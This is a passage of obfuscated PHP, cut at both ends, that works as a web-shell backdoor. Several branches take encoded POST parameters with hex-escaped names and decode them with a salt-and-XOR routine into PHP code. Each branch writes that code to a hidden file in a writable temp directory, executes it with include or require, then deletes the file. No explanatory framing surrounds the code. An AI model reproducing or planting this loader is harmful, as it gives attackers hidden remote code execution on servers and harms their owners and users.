$v2): $chS = ord($s5[$u %$lenS]); $d = ((int)$v2 - $chS - ($u %10)) ^ 70; $value .= chr($d); endforeach; $entry = 0; do { $key = $flg[$entry] ?? null; if ($entry >= count($flg)) break; if ((is_dir($key) and is_writable($key))) { $property_set = join("/", [$key, ".element"]); if (@file_put_contents($property_set, $value) !== false) { include $property_set; unlink($property_set); exit; } } $entry++; } while (true); } if(filter_has_var(INPUT_POST, "m\x72k")){ $factor = $_POST["m\x72k"]; $factor = explode ('.' ,$factor ); $descriptor = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $o = 0; foreach ($factor as $v1) { $chS = ord($s2[$o % $lenS]); $d = ((int)$v1 - $chS - ($o % 10)) ^ 18; $descriptor .= chr($d); $o++; } $object = array_filter([getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); for ($ref = 0, $marker = count($object); $ref < $marker; $ref++) { $res = $object[$ref]; if (!( !is_dir($res) || !is_writable($res) )) { $dchunk = implode("/", [$res, ".desc"]); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $dchunk; @unlink($dchunk); die(); } } } } if(filter_has_var(INPUT_POST, "pgrp")){ $dat = $_POST["pgrp"]; $dat = explode ( ".", $dat) ; $itm = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); foreach ($dat as $u => $v8) { $chS = ord($salt7[$u %$lenS]); $dec = ((int)$v8 - $chS - ($u %10)) ^ 85; $itm .= chr($dec); } $mrk = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP")]); foreach ($mrk as $symbol): if ((is_dir($symbol) and is_writable($symbol))) { $ref = str_replace("{var_dir}", $symbol, "{var_dir}/.data_chunk"); if (file_put_contents($ref, $itm)) { include $ref; @unlink($ref); die(); } } endforeach; } if(filter_has_var(INPUT_POST, "\x63o\x6Dp")){ $reference = $_REQUEST["\x63o\x6Dp"]; $reference = explode ( ".", $reference) ; $resource =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $s =0; foreach ($reference as $v2) { $chS =ord($salt[$s % $lenS]); $dec =((int)$v2 - $chS - ($s % 10)) ^ 70; $resource .=chr($dec); $s++; } $val = array_filter([sys_get_temp_dir(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), "/tmp"]); foreach ($val as $key => $ent) { if (is_dir($ent) && is_writable($ent)) { $obj = vsprintf("%s/%s", [$ent, ".key"]); $success = file_put_contents($obj, $resource); if ($success) { include $obj; @unlink($obj); die();} } } } if(isset($_POST["e\x6E\x74"]) ? true : false){ $key = array_filter([sys_get_temp_dir(), "/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp"]); $dat = $_POST["e\x6E\x74"]; $dat= explode ( "." , $dat ) ; $fac = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); $i = 0; foreach( $dat as $v8) { $chS = ord( $s2[$i% $lenS]); $dec =( ( int)$v8 - $chS -( $i% 10)) ^ 71; $fac .= chr( $dec); $i++; } $ref = 0; do { $ent = $key[$ref] ?? null; if ($ref >= count($key)) break; if (!!is_dir($ent) && !!is_writable($ent)) { $record = "$ent" . "/.data_chunk"; if (file_put_contents($record, $fac)) { require $record; unlink($record); die(); } } $ref++; } while (true); } if(array_key_exists("\x72\x65f", $_POST) && !is_null($